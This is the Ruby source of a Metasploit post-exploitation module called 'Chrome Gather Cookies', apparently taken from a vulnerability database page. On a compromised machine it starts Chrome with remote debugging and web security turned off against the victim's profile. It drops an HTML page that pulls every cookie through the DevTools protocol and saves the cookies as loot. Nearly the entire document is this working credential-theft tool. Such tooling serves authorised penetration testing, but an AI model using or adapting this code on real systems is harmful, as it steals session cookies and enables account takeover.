##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Chrome Gather Cookies',
'Description' => 'Read all cookies from the Default Chrome profile of the target user.',
'License' => MSF_LICENSE,
'Author' => ['mangopdf <mangodotpdf[at]gmail.com>'],
'Platform' => %w[linux unix bsd osx windows],
'SessionTypes' => %w[meterpreter shell]
)
)
register_options(
[
OptString.new('CHROME_BINARY_PATH', [false, "The path to the user's Chrome binary (leave blank to use the default for the OS)", '']),
OptString.new('WRITEABLE_DIR', [false, 'Where to write the html used to steal cookies temporarily, and the cookies. Leave blank to use the default for the OS (/tmp or AppData\\Local\\Temp)', '']),
OptInt.new('REMOTE_DEBUGGING_PORT', [false, 'Port on target machine to use for remote debugging protocol', 9222])
]
)
end
def configure_for_platform
vprint_status('Determining session platform')
vprint_status("Platform: #{session.platform}")
vprint_status("Type: #{session.type}")
if session.platform == 'windows'
username = get_env('USERNAME').strip
else
username = cmd_exec 'id -un'
end
temp_storage_dir = datastore['WRITABLE_DIR']
case session.platform
when 'unix', 'linux', 'bsd', 'python'
chrome = 'google-chrome'
user_data_dir = "/home/#{username}/.config/google-chrome"
temp_storage_dir = temp_storage_dir.nil? ? '/tmp' : temp_storage_dir
@cookie_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}"
when 'osx'
chrome = '"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"'
user_data_dir = expand_path "/Users/#{username}/Library/Application Support/Google/Chrome"
temp_storage_dir = temp_storage_dir.nil? ? '/tmp' : temp_storage_dir
@cookie_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}"
when 'windows'
chrome = '"\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"'
user_data_dir = "\\Users\\#{username}\\AppData\\Local\\Google\\Chrome\\User Data"
temp_storage_dir = temp_storage_dir.nil? ? "\\Users\\#{username}\\AppData\\Local\\Temp" : temp_storage_dir
@cookie_storage_path = "#{user_data_dir}\\chrome_debug.log"
else
fail_with Failure::NoTarget, "Unsupported platform: #{session.platform}"
end
unless datastore['CHROME_BINARY_PATH'].empty?
chrome = datastore['CHROME_BINARY_PATH']
end
=begin
# #writable? not supported on windows
unless writable? @temp_storage_dir
fail_with Failure::BadConfig, "#{@temp_storage_dir} is not writable"
end
=end
@html_storage_path = create_cookie_stealing_html(temp_storage_dir)
chrome_debugging_args = []
if session.platform == 'windows'
# `--headless` doesn't work on Windows, so use an offscreen window instead.
chrome_debugging_args << '--window-position=0,0'
chrome_debugging_args << '--enable-logging --v=1'
else
chrome_debugging_args << '--headless'
end
chrome_debugging_args_all_platforms = [
'--disable-translate',
'--disable-extensions',
'--disable-background-networking',
'--safebrowsing-disable-auto-update',
'--disable-sync',
'--metrics-recording-only',
'--disable-default-apps',
'--mute-audio',
'--no-first-run',
'--disable-web-security',
'--disable-plugins',
'--disable-gpu'
]
chrome_debugging_args << chrome_debugging_args_all_platforms
chrome_debugging_args << " --user-data-dir=\"#{user_data_dir}\""
chrome_debugging_args << " --remote-debugging-port=#{datastore['REMOTE_DEBUGGING_PORT']}"
chrome_debugging_args << " #{@html_storage_path}"
@chrome_debugging_cmd = "#{chrome} #{chrome_debugging_args.join(' ')}"
end
def create_cookie_stealing_html(temp_storage_dir)
cookie_stealing_html = %(
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index.html</title>
</head>
<body>
<script>
var remoteDebuggingPort = #{datastore['REMOTE_DEBUGGING_PORT']};
var request = new XMLHttpRequest();
request.open("GET", "http://localhost:" + remoteDebuggingPort + "/json");
request.responseType = 'json';
request.send();
request.onload = function() {
var webSocketDebuggerUrl = request.response[0].webSocketDebuggerUrl;
console.log(webSocketDebuggerUrl);
var connection = new WebSocket(webSocketDebuggerUrl);
connection.onopen = function () {
connection.send('{"id": 1, "method": "Network.getAllCookies"}');
};
connection.onmessage = function (e) {
var cookies_blob = JSON.stringify(JSON.parse(e.data).result.cookies);
console.log('REMOTE_DEBUGGING|' + cookies_blob);
};
}
</script>
</body>
</html>
)
# Where to temporarily store the cookie-stealing html
if session.platform == 'windows'
html_storage_path = "#{temp_storage_dir}\\#{Rex::Text.rand_text_alphanumeric(10..15)}.html"
else
html_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}.html"
end
write_file(html_storage_path, cookie_stealing_html)
html_storage_path
end
def cleanup
if file?(@html_storage_path)
vprint_status("Removing file #{@html_storage_path}")
rm_f @html_storage_path
end
if file?(@cookie_storage_path)
vprint_status("Removing file #{@cookie_storage_path}")
rm_f @cookie_storage_path
end
end
def get_cookies
if session.platform == 'windows'
chrome_cmd = @chrome_debugging_cmd.to_s
kill_cmd = 'taskkill /f /pid'
else
chrome_cmd = "#{@chrome_debugging_cmd} > #{@cookie_storage_path} 2>&1"
kill_cmd = 'kill -9'
end
if session.type == 'meterpreter'
chrome_pid = cmd_exec_get_pid(chrome_cmd)
print_status "Activated Chrome's Remote Debugging (pid: #{chrome_pid}) via #{chrome_cmd}"
Rex.sleep(5)
# read_file within if/else block because kill was terminating sessions on OSX during testing
chrome_output = read_file(@cookie_storage_path)
# Kills spawned chrome process in windows meterpreter sessions.
# In OSX and Linux the meterpreter sessions would stop as well.
if session.platform == 'windows'
kill_output = cmd_exec "#{kill_cmd} #{chrome_pid}"
end
else
# Using shell_command for backgrounding process (&)
client.shell_command("#{chrome_cmd} &")
print_status "Activated Chrome's Remote Debugging via #{chrome_cmd}"
Rex.sleep(5)
chrome_output = read_file(@cookie_storage_path)
end
cookies_msg = ''
chrome_output.each_line do |line|
if line =~ /REMOTE_DEBUGGING/
print_good('Found Match')
cookies_msg = line
end
end
fail_with(Failure::Unknown, 'Failed to retrieve cookie data') if cookies_msg.empty?
# Slice off the "REMOTE_DEBUGGING|" delimiter and trailing source info
cookies_json = cookies_msg.split('REMOTE_DEBUGGING|')[1]
cookies_json.split('", source: file')[0]
end
def save(msg, data, ctype = 'text/json')
ltype = 'chrome.gather.cookies'
loot = store_loot ltype, ctype, session, data, nil, msg
print_good "#{msg} stored in #{loot}"
end
def run
fail_with Failure::BadConfig, 'No session found, giving up' if session.nil?
# Issues with write_file. Maybe a path problem?
if session.platform == 'windows' && session.type == 'shell'
fail_with Failure::BadConfig, 'Windows shell session not support, giving up'
end
unless session.platform == 'windows' && session.type == 'meterpreter'
print_warning 'This module will leave a headless Chrome process running on the target machine.'
end
configure_for_platform
cookies = get_cookies
cookies_parsed = JSON.parse cookies
save "#{cookies_parsed.length} Chrome Cookies", cookies
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation